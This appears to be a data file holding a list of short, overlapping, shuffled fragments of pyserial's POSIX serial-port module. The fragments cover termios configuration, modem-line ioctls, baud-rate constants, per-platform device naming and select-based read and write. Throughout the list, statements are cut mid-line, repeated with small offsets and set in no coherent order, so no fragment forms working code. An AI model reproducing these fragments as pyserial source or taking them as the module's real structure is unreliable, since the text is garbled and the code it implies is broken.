'TIOCM_CAR') and TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG\",\n \"== 'linux': # Linux (confirmed) def device(port): return '/dev/ttyS%d' % port ASYNC_SPD_MASK =\",\n \"on this platform\\\") baudrate_constants = {} #~ raise Exception, \\\"this module does not\",\n \"fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def getCTS(self): \\\"\\\"\\\"Read terminal status line:\",\n \"is done with termios and fcntl. Runs on Linux and many other Un*x\",\n \"the timeout occurs, it # returns with empty lists -> thus abort read\",\n \"not supported\\\") def device(port): return '/dev/cuad%d' % port baudrate_constants = {} elif plat[:6]\",\n \"Serial(0, baudrate=19200, # baud rate bytesize=EIGHTBITS, # number of data bits parity=PARITY_EVEN, #\",\n \"writeTimeoutError _, ready, _ = select.select([], [self.fd], [], timeleft) if not ready: raise\",\n \"fail here raise SerialException(\\\"Could not configure port: %s\\\" % msg) # set up\",\n \"a device disconnecting while it's in use (e.g. USB-serial unplugged)\\\"\\\"\\\" def read(self, size=1):\",\n \"no echo / binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for\",\n \"self._parity) # setup flow control # xonxoff if hasattr(TERMIOS, 'IXANY'): if self._xonxoff: iflag\",\n \"it # returns with empty lists -> thus abort read operation. # For\",\n \"baudrate_constants = {} elif plat[:3] == 'aix': # AIX def device(port): return '/dev/tty%d'\",\n \"None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_DSR !=\",\n \"#XXX different device names depending on flow control def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry\",\n \"port: %s\\\" % msg) # set up raw mode / no echo /\",\n \"# select based implementation, proved to work on many systems def read(self, size=1):\",\n \"as msg: # if a port is nonexistent but has a /dev file,\",\n \"xonxoff etc) fails?? # buffer # vmin \\\"minimal number of characters to be\",\n \"raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_DSR != 0\",\n \"hasattr(TERMIOS, 'CNEW_RTSCTS'): # try it with alternate constant name if self._rtscts: cflag |=\",\n \"least on Linux, show the # behavior that they are always ready to\",\n \"custom baud rate: %r' % baudrate) baudrate_constants = { 0: 0000000, # hang\",\n \"((self._timeout is not None and self._timeout >= 0) or (self._interCharTimeout is not None\",\n \"'hp': # HP-UX (not tested) def device(port): return '/dev/tty%dp0' % (port+1) def set_special_baudrate(port,\",\n \"#!/usr/bin/env python # # Python Serial Port Extension for Win32, Linux, BSD, Jython\",\n \"else: raise ValueError('Invalid parity: %r' % self._parity) # setup flow control # xonxoff\",\n \"ready # with the time left as timeout timeleft = timeout - time.time()\",\n \"# baud rate bytesize=EIGHTBITS, # number of data bits parity=PARITY_EVEN, # enable parity\",\n \"buf[4] |= ASYNC_SPD_CUST # set serial_struct try: res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except\",\n \"termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag, cflag, lflag, ispeed, ospeed, cc]) # apply custom baud\",\n \"= struct.pack('I', TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK =\",\n \"implementation. not all systems support poll properly. however this one has better handling\",\n \"None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25): \\\"\\\"\\\"Send break condition. Timed, returns\",\n \"ValueError('Invalid baud rate: %r' % self._baudrate) # setup char len cflag &= ~TERMIOS.CSIZE\",\n \"'bsd' or \\\\ plat[:7] == 'freebsd' or \\\\ plat[:7] == 'openbsd': # BSD\",\n \"hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR or\",\n \"line: Ring Indicator\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET,\",\n \"('ECHOCTL', 'ECHOKE'): # netbsd workaround for Erk if hasattr(TERMIOS, flag): lflag &= ~getattr(TERMIOS,\",\n \"if hasattr(TERMIOS, flag): lflag &= ~getattr(TERMIOS, flag) oflag &= ~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK)\",\n \"speeds import array, fcntl buf = array.array('i', [baudrate]) IOSSIOSPEED = 0x80045402 #_IOW('T', 2,\",\n \"hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK = hasattr(TERMIOS, 'TIOCCBRK') and TERMIOS.TIOCCBRK or\",\n \"\\\"\\\"\\\"internal - not portable!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcdrain(self.fd) def nonblocking(self):\",\n \"% baudrate) baudrate_constants = { 0: 0000000, # hang up 50: 0o000001, 75:\",\n \"KeyError: #~ raise ValueError('Invalid baud rate: %r' % self._baudrate) # may need custom\",\n \"2, speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1) else: # version < 8 def set_special_baudrate(port,\",\n \"TERMIOS else: TERMIOS = termios if (sys.hexversion < 0x020200f0): import FCNTL else: FCNTL\",\n \"version = %s also add the device name of the serial port and\",\n \"try to use values from TERMIOS, use defaults from linux otherwise TIOCMGET =\",\n \"a timeout is set it may return less characters as requested. With no\",\n \"def read(self, size=1): \\\"\\\"\\\"Read size bytes from the serial port. If a timeout\",\n \"cflag, lflag, ispeed, ospeed, cc = termios.tcgetattr(self.fd) except termios.error as msg: # if\",\n \"select.select([self.fd],[],[], self._timeout) # If select was used with a timeout, and the timeout\",\n \"portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self, level=1): \\\"\\\"\\\"Set break: Controls TXD. When active, no\",\n \"hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS or\",\n \"!= 0 def getRI(self): \\\"\\\"\\\"Read terminal status line: Ring Indicator\\\"\\\"\\\" if self.fd is\",\n \"vtime) cc[TERMIOS.VTIME] = vtime # activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag, cflag, lflag,\",\n \"- - - def inWaiting(self): \\\"\\\"\\\"Return the number of characters currently in the\",\n \"baudrate_constants = { 0: 0000000, # hang up 50: 0o000001, 75: 0o000002, 110:\",\n \"X version = os.uname()[2].split('.') # Tiger or above can support arbitrary serial speeds\",\n \"3500000: 0o010016, 4000000: 0o010017 } elif plat == 'cygwin': # cygwin/win32 (confirmed) def\",\n \"if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if self._xonxoff:\",\n \"buf: break # early abort on timeout return bytes(read) if __name__ == '__main__':\",\n \"4800: 0o000014, 9600: 0o000015, 19200: 0o000016, 38400: 0o000017, 57600: 0o010001, 115200: 0o010002, 230400:\",\n \"= getattr(TERMIOS, 'B%s' % (self._baudrate)) except AttributeError: try: ispeed = ospeed = baudrate_constants[self._baudrate]\",\n \"errno, time from .serialutil import * # Do check the Python version as\",\n \"None and self._writeTimeout > 0: timeout = time.time() + self._writeTimeout else: timeout =\",\n \"~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag in ('ECHOCTL', 'ECHOKE'): # netbsd workaround for Erk\",\n \"== 6: cflag |= TERMIOS.CS6 elif self._bytesize == 5: cflag |= TERMIOS.CS5 else:\",\n \"== 'irix': # IRIX (partially tested) def device(port): return '/dev/ttyf%d' % (port+1) #XXX\",\n \"os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as msg: self.fd = None raise SerialException(\\\"could not open port\",\n \"self.fd is None: raise portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self): \\\"\\\"\\\"For easier use\",\n \"~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS, 'CNEW_RTSCTS'): # try it with alternate constant name if self._rtscts:\",\n \"exception, just continue with a brave attempt to build a device name #\",\n \"(port) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle non standard\",\n \"should always return some data as select reported it was # ready to\",\n \"so that a device can be selected... # this code block should supply\",\n \"self._bytesize == 7: cflag |= TERMIOS.CS7 elif self._bytesize == 6: cflag |= TERMIOS.CS6\",\n \"data (device disconnected?)') read.extend(buf) return bytes(read) def write(self, data): \\\"\\\"\\\"Output the given string\",\n \"255: raise ValueError('Invalid vmin: %r ' % vmin) cc[TERMIOS.VMIN] = vmin # vtime\",\n \"TIOCM_zero_str) return struct.unpack('I',s)[0] # select based implementation, proved to work on many systems\",\n \"setup char len cflag &= ~TERMIOS.CSIZE if self._bytesize == 8: cflag |= TERMIOS.CS8\",\n \"< 0 or vtime > 255: raise ValueError('Invalid vtime: %r' % vtime) cc[TERMIOS.VTIME]\",\n \"try: res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except IOError: raise ValueError('Failed to set custom\",\n \"= select.select([], [self.fd], [], timeleft) if not ready: raise writeTimeoutError d = d[n:]\",\n \"len(read) #debug # wait until device becomes ready to read (or something fails)\",\n \"0o010010, 1152000: 0o010011, 1500000: 0o010012, 2000000: 0o010013, 2500000: 0o010014, 3000000: 0o010015, 3500000: 0o010016,\",\n \"systems def read(self, size=1): \\\"\\\"\\\"Read size bytes from the serial port. If a\",\n \"device name as port parameter. def device(portum): return '/dev/ttyS%d' % portnum def set_special_baudrate(port,\",\n \"= hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR or 0x010 TIOCM_CTS = hasattr(TERMIOS, 'TIOCM_CTS') and TERMIOS.TIOCM_CTS\",\n \"parity iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity == PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity\",\n \"array buf = array.array('i', [0] * 32) # get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf)\",\n \"= for non blocking\\\" if vmin < 0 or vmin > 255: raise\",\n \"!= 0 def getDSR(self): \\\"\\\"\\\"Read terminal status line: Data Set Ready\\\"\\\"\\\" if self.fd\",\n \"TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK = hasattr(TERMIOS, 'TIOCCBRK') and\",\n \"def _reconfigurePort(self): \\\"\\\"\\\"Set communication parameters on opened port.\\\"\\\"\\\" if self.fd is None: raise\",\n \"or send this information to ! the author of this module: sys.platform =\",\n \"set_special_baudrate(port, baudrate): import array buf = array.array('i', [0] * 32) # get serial_struct\",\n \"# BSD (confirmed for freebsd4: cuaa%d) def device(port): return '/dev/cuad%d' % port def\",\n \"self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB) # XXX same as TWO.. there is\",\n \"int(duration/0.25)) def setBreak(self, level=1): \\\"\\\"\\\"Set break: Controls TXD. When active, no transmitting is\",\n \"not configure port: %s\\\" % msg) # set up raw mode / no\",\n \"= hasattr(TERMIOS, 'TIOCMSET') and TERMIOS.TIOCMSET or 0x5418 #TIOCM_LE = hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE\",\n \"care if it is select.POLLIN or timeout, that's # handled below buf =\",\n \"True #~ self.flushInput() def _reconfigurePort(self): \\\"\\\"\\\"Set communication parameters on opened port.\\\"\\\"\\\" if self.fd\",\n \"# xonxoff if hasattr(TERMIOS, 'IXANY'): if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag\",\n \">= 0) or (self._interCharTimeout is not None and self._interCharTimeout > 0)) and not\",\n \"platform\\\") baudrate_constants = {} #~ raise Exception, \\\"this module does not run on\",\n \"Ready\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return\",\n \"&= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity == PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity == PARITY_EVEN:\",\n \"- - - - - - - - - - - - -\",\n \"or above can support arbitrary serial speeds if int(version[0]) >= 8: def set_special_baudrate(port,\",\n \"== 'aix': # AIX def device(port): return '/dev/tty%d' % (port) def set_special_baudrate(port, baudrate):\",\n \"self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25): \\\"\\\"\\\"Send break condition.\",\n \"~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST # set serial_struct try: res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf)\",\n \"def device(port): return '/dev/com%d' % (port + 1) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry\",\n \"all systems support poll properly. however this one has better handling of errors,\",\n \"# whats up with \\\"aix\\\", \\\"beos\\\", .... # they should work, just need\",\n \"platform, sorry.\\\" # whats up with \\\"aix\\\", \\\"beos\\\", .... # they should work,\",\n \"is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self,\",\n \"TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS') and\",\n \"TIOCINQ = hasattr(TERMIOS, 'FIONREAD') and TERMIOS.FIONREAD or 0x541B TIOCM_zero_str = struct.pack('I', 0) TIOCM_RTS_str\",\n \"POSIX compatible systems, like Linux # see __init__.py # # (C) 2001-2010 <NAME>\",\n \"ValueError('Invalid baud rate: %r' % self._baudrate) # may need custom baud rate, it\",\n \"timeleft = timeout - time.time() if timeleft < 0: raise writeTimeoutError _, ready,\",\n \"# load some constants for later use. # try to use values from\",\n \"# For timeout == 0 (non-blocking operation) also abort when there # is\",\n \"0x004 #TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR')\",\n \"Linux, show the # behavior that they are always ready to read immediately\",\n \"non blocking\\\" if vmin < 0 or vmin > 255: raise ValueError('Invalid vmin:\",\n \"it will block until the requested number of bytes is read.\\\"\\\"\\\" if self.fd\",\n \"not open port %s: %s\\\" % (self._port, msg)) #~ fcntl.fcntl(self.fd, FCNTL.F_SETFL, 0) #\",\n \"number of characters to be read. = for non blocking\\\" if vmin <\",\n \"50: 0o000001, 75: 0o000002, 110: 0o000003, 134: 0o000004, 150: 0o000005, 200: 0o000006, 300:\",\n \"this point. if not buf: # Disconnected devices, at least on Linux, show\",\n \"# for the platform plat = sys.platform.lower() if plat[:5] == 'linux': # Linux\",\n \"return bytes(read) if __name__ == '__main__': s = Serial(0, baudrate=19200, # baud rate\",\n \"# HP-UX (not tested) def device(port): return '/dev/tty%dp0' % (port+1) def set_special_baudrate(port, baudrate):\",\n \"is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_DSR\",\n \"- - - - def drainOutput(self): \\\"\\\"\\\"internal - not portable!\\\"\\\"\\\" if self.fd is\",\n \"when hardware or software flow control is enabled\\\"\\\"\\\" if enable: termios.tcflow(self.fd, TERMIOS.TCION) else:\",\n \"plat[:7] == 'openbsd': # BSD (confirmed for freebsd4: cuaa%d) def device(port): return '/dev/cuad%d'\",\n \"software license, see license.txt # # parts based on code from <NAME> <<EMAIL>>:\",\n \"baud rate on this platform\\\") baudrate_constants = {} elif plat[:3] == 'bsd' or\",\n \"if setting up rtscts (and xonxoff etc) fails?? # buffer # vmin \\\"minimal\",\n \"0: raise writeTimeoutError _, ready, _ = select.select([], [self.fd], [], timeleft) if not\",\n \"buf = array.array('i', [0] * 32) # get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) #\",\n \"vtime = int(self._interCharTimeout * 10) try: iflag, oflag, cflag, lflag, ispeed, ospeed, cc\",\n \"return len(data) def flush(self): \\\"\\\"\\\"Flush of file like objects. In this case, wait\",\n \"if enable: termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble Serial class with the\",\n \"POSIX support for 1.5 elif self._stopbits == STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB) else: raise\",\n \"flag in ('ECHOCTL', 'ECHOKE'): # netbsd workaround for Erk if hasattr(TERMIOS, flag): lflag\",\n \"errno.EAGAIN: raise SerialException('write failed: %s' % (v,)) return len(data) def flush(self): \\\"\\\"\\\"Flush of\",\n \"here raise SerialException(\\\"Could not configure port: %s\\\" % msg) # set up raw\",\n \"elif plat == 'cygwin': # cygwin/win32 (confirmed) def device(port): return '/dev/com%d' % (port\",\n \"'TIOCMBIC') and TERMIOS.TIOCMBIC or 0x5417 TIOCMSET = hasattr(TERMIOS, 'TIOCMSET') and TERMIOS.TIOCMSET or 0x5418\",\n \"~getattr(TERMIOS, flag) oflag &= ~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'): iflag &=\",\n \"same as TWO.. there is no POSIX support for 1.5 elif self._stopbits ==\",\n \"'CRTSCTS'): if self._rtscts: cflag |= (TERMIOS.CRTSCTS) else: cflag &= ~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS, 'CNEW_RTSCTS'):\",\n \"fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str) def setDTR(self, level=1): \\\"\\\"\\\"Set terminal status line: Data Terminal Ready\\\"\\\"\\\"\",\n \"and TERMIOS.TIOCMSET or 0x5418 #TIOCM_LE = hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR\",\n \"port %s: %s\\\" % (self._port, msg)) #~ fcntl.fcntl(self.fd, FCNTL.F_SETFL, 0) # set blocking\",\n \"it was # ready to read when we get to this point. if\",\n \"hasattr(TERMIOS, flag): lflag &= ~getattr(TERMIOS, flag) oflag &= ~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if\",\n \"elif plat[:6] == 'netbsd': # NetBSD 1.6 testing by Erk def device(port): return\",\n \"version as some constants have moved. if (sys.hexversion < 0x020100f0): import TERMIOS else:\",\n \"return '/dev/com%d' % (port + 1) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know\",\n \"references: http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl, termios, struct, select, errno, time from .serialutil\",\n \"serial IO for POSIX compatible systems, like Linux # see __init__.py # #\",\n \"self.fd is None: raise portNotOpenError return self.fd def flowControl(self, enable): \\\"\\\"\\\"manually control flow\",\n \"return '/dev/tty%dp0' % (port+1) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to\",\n \"0) TIOCM_RTS_str = struct.pack('I', TIOCM_RTS) TIOCM_DTR_str = struct.pack('I', TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK')\",\n \"aborting the current output and discarding all that is in the buffer.\\\"\\\"\\\" if\",\n \"#~ self.flushInput() def _reconfigurePort(self): \\\"\\\"\\\"Set communication parameters on opened port.\\\"\\\"\\\" if self.fd is\",\n \"def set_special_baudrate(port, baudrate): # use IOKit-specific call to set up high speeds import\",\n \"the platform plat = sys.platform.lower() if plat[:5] == 'linux': # Linux (confirmed) def\",\n \"given duration.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self, level=1):\",\n \"device becomes ready to read (or something fails) for fd, event in poll.poll(self._timeout*1000):\",\n \"baudrate_constants = {} elif plat[:6] == 'darwin': # OS X version = os.uname()[2].split('.')\",\n \"int(self._baudrate) # store for later except ValueError: raise ValueError('Invalid baud rate: %r' %\",\n \"real device name as port parameter. def device(portum): return '/dev/ttyS%d' % portnum def\",\n \"select was used with a timeout, and the timeout occurs, it # returns\",\n \"TIOCM_DTR_str) def getCTS(self): \\\"\\\"\\\"Read terminal status line: Clear To Send\\\"\\\"\\\" if self.fd is\",\n \"fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self): \\\"\\\"\\\"For easier use of the serial port instance\",\n \"buf) # set custom divisor buf[6] = buf[7] / baudrate # update flags\",\n \"return '/dev/ttyf%d' % (port+1) #XXX different device names depending on flow control def\",\n \"port instance with select. WARNING: this function is not portable to different platforms!\\\"\\\"\\\"\",\n \"# setup char len cflag &= ~TERMIOS.CSIZE if self._bytesize == 8: cflag |=\",\n \"0o010014, 3000000: 0o010015, 3500000: 0o010016, 4000000: 0o010017 } elif plat == 'cygwin': #\",\n \"|= (TERMIOS.CRTSCTS) else: cflag &= ~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS, 'CNEW_RTSCTS'): # try it with\",\n \"not portable!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self):\",\n \"elif plat[:3] == 'aix': # AIX def device(port): return '/dev/tty%d' % (port) def\",\n \"= None raise else: self._isOpen = True #~ self.flushInput() def _reconfigurePort(self): \\\"\\\"\\\"Set communication\",\n \"= vmin # vtime if vtime < 0 or vtime > 255: raise\",\n \"is not None and self._writeTimeout > 0: timeout = time.time() + self._writeTimeout else:\",\n \"an explicit path (eg /dev/ttyS1) or send this information to ! the author\",\n \"\\\\ plat[:7] == 'openbsd': # BSD (confirmed for freebsd4: cuaa%d) def device(port): return\",\n \"0o000012, 2400: 0o000013, 4800: 0o000014, 9600: 0o000015, 19200: 0o000016, 38400: 0o000017, 57600: 0o010001,\",\n \"except AttributeError: try: ispeed = ospeed = baudrate_constants[self._baudrate] except KeyError: #~ raise ValueError('Invalid\",\n \"cflag |= (TERMIOS.PARENB|TERMIOS.PARODD) else: raise ValueError('Invalid parity: %r' % self._parity) # setup flow\",\n \"1200: 0o000011, 1800: 0o000012, 2400: 0o000013, 4800: 0o000014, 9600: 0o000015, 19200: 0o000016, 38400:\",\n \"&= ~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB) elif self._parity == PARITY_ODD: cflag |= (TERMIOS.PARENB|TERMIOS.PARODD) else:\",\n \"def getRI(self): \\\"\\\"\\\"Read terminal status line: Ring Indicator\\\"\\\"\\\" if self.fd is None: raise\",\n \"cflag |= (TERMIOS.CSTOPB) else: raise ValueError('Invalid stop bit specification: %r' % self._stopbits) #\",\n \"TIOCMGET = hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET or 0x5415 TIOCMBIS = hasattr(TERMIOS, 'TIOCMBIS') and\",\n \"ValueError(\\\"sorry don't know how to handle non standard baud rate on this platform\\\")\",\n \"= {} #~ raise Exception, \\\"this module does not run on this platform,\",\n \"or 0x5427 TIOCCBRK = hasattr(TERMIOS, 'TIOCCBRK') and TERMIOS.TIOCCBRK or 0x5428 class PosixSerial(SerialBase): \\\"\\\"\\\"Serial\",\n \"block until the requested number of bytes is read.\\\"\\\"\\\" if self.fd is None:\",\n \"'ECHOKE'): # netbsd workaround for Erk if hasattr(TERMIOS, flag): lflag &= ~getattr(TERMIOS, flag)\",\n \"/dev/ttyS1) or send this information to ! the author of this module: sys.platform\",\n \"non standard baud rate on this platform\\\") baudrate_constants = {} elif plat[:5] ==\",\n \"0x5417 TIOCMSET = hasattr(TERMIOS, 'TIOCMSET') and TERMIOS.TIOCMSET or 0x5418 #TIOCM_LE = hasattr(TERMIOS, 'TIOCM_LE')\",\n \"Ring Indicator\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str)\",\n \"Data Set Ready\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET,\",\n \"baud rate: %r' % self._baudrate) # may need custom baud rate, it isn't\",\n \"iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'): iflag &= ~TERMIOS.IUCLC if hasattr(TERMIOS, 'PARMRK'): iflag\",\n \"know how to handle non standard baud rate on this platform\\\") baudrate_constants =\",\n \"set custom baud rate: %r' % baudrate) baudrate_constants = { 0: 0000000, #\",\n \"# (C) 2001-2010 <NAME> <<EMAIL>> # this is distributed under a free software\",\n \"(sys.hexversion < 0x020100f0): import TERMIOS else: TERMIOS = termios if (sys.hexversion < 0x020200f0):\",\n \"'TIOCM_RI') and TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or 0x2000\",\n \"vtime = 0 # timeout is done via select if self._interCharTimeout is not\",\n \"0: while len(read) < size: # print \\\"\\\\tread(): size\\\",size, \\\"have\\\", len(read) #debug #\",\n \"work, just need to know the device names. # load some constants for\",\n \"occurs, it # returns with empty lists -> thus abort read operation. #\",\n \"= fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return struct.unpack('I',s)[0] # select based implementation, proved to work\",\n \"vmin > 255: raise ValueError('Invalid vmin: %r ' % vmin) cc[TERMIOS.VMIN] = vmin\",\n \"done via select if self._interCharTimeout is not None: vmin = 1 vtime =\",\n \"> 0)) and not buf: break # early abort on timeout return bytes(read)\",\n \"baudrate_constants = {} elif plat[:3] == 'bsd' or \\\\ plat[:7] == 'freebsd' or\",\n \"None and self._timeout >= 0) or (self._interCharTimeout is not None and self._interCharTimeout >\",\n \"TERMIOS.TIOCMGET or 0x5415 TIOCMBIS = hasattr(TERMIOS, 'TIOCMBIS') and TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC =\",\n \"TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK = hasattr(TERMIOS, 'TIOCCBRK') and TERMIOS.TIOCCBRK or 0x5428 class PosixSerial(SerialBase):\",\n \"raise portNotOpenError read = bytearray() while len(read) < size: ready,_,_ = select.select([self.fd],[],[], self._timeout)\",\n \"&= ~(TERMIOS.CSTOPB) elif self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB) # XXX same as\",\n \"0x100 TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI')\",\n \"'TIOCCBRK') and TERMIOS.TIOCCBRK or 0x5428 class PosixSerial(SerialBase): \\\"\\\"\\\"Serial port class POSIX implementation. Serial\",\n \"TERMIOS, use defaults from linux otherwise TIOCMGET = hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET or\",\n \"also to keep original exception that happened when setting up pass self.fd =\",\n \"send this information to ! the author of this module: sys.platform = %r\",\n \"return '/dev/cuad%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to\",\n \"or TIOCM_CAR TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS,\",\n \"%r' % vtime) cc[TERMIOS.VTIME] = vtime # activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag,\",\n \"FCNTL.F_SETFL, 0) # set blocking try: self._reconfigurePort() except: try: os.close(self.fd) except: # ignore\",\n \"timeout - time.time() if timeleft < 0: raise writeTimeoutError _, ready, _ =\",\n \"Controls TXD. When active, no transmitting is possible.\\\"\\\"\\\" if self.fd is None: raise\",\n \"(and xonxoff etc) fails?? # buffer # vmin \\\"minimal number of characters to\",\n \"with \\\"aix\\\", \\\"beos\\\", .... # they should work, just need to know the\",\n \"FCNTL else: FCNTL = fcntl # try to detect the OS so that\",\n \"\\\"\\\"\\\"Set terminal status line: Request To Send\\\"\\\"\\\" if self.fd is None: raise portNotOpenError\",\n \"fd, event in poll.poll(self._timeout*1000): if event & (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device reports error (poll)')\",\n \"= hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC or 0x5417 TIOCMSET = hasattr(TERMIOS, 'TIOCMSET') and TERMIOS.TIOCMSET\",\n \"|= (TERMIOS.CNEW_RTSCTS) else: cflag &= ~(TERMIOS.CNEW_RTSCTS) # XXX should there be a warning\",\n \"for Erk if hasattr(TERMIOS, flag): lflag &= ~getattr(TERMIOS, flag) oflag &= ~(TERMIOS.OPOST) iflag\",\n \"if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK)\",\n \"(self._port, msg)) #~ fcntl.fcntl(self.fd, 